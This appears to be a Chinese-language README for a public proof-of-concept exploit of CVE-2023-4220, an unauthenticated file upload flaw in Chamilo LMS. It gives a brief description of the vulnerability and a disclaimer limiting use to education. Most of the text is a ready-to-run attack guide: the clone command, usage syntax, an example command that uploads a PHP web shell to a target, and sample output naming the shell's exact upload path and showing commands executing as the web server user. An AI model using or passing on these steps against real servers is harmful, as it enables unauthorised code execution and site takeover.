该仓库包含针对Chamilo LMS中标识为CVE-2023-4220漏洞的概念验证(PoC)利用代码。该利用利用了未认证的文件上传漏洞,允许远程攻击者在受影响系统上执行任意代码。
免责声明: 此代码仅供教育和研究目的。作者不对任何滥用此代码的行为负责。
此版本之前的Chamilo LMS版本受此问题影响。该漏洞源于对文件上传的不当验证和处理,允许攻击者上传并在服务器上执行恶意文件。
该利用针对Chamilo LMS中的文件上传功能。通过构造包含PHP代码的恶意文件,并通过未认证的上传端点进行上传,攻击者可以在服务器上执行任意命令。
git clone https://github.com/0x00-null/Chamilo-CVE-2023-4220-RCE-Exploit.git
cd Chamilo-CVE-2023-4220-RCE-Exploit
通过传递目标URL和要执行的命令作为参数来运行利用脚本:
python exploit.py <target_url> <command>
python3 exploit.py http://lms.target-site/ id --shell=my_shell.php
此命令将:
如果成功,脚本将输出:
例如:
[+] File uploaded successfully!
[+] Access the shell at: http://lms.target-site/main/inc/lib/javascript/bigupload/files/my_shell.php?cmd=
[+] Command Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
本项目采用MIT许可证。
如有任何疑问或问题,请在仓库中提交issue,或通过 [medkamelbouzekria - at - gmail -dot - com] 联系我。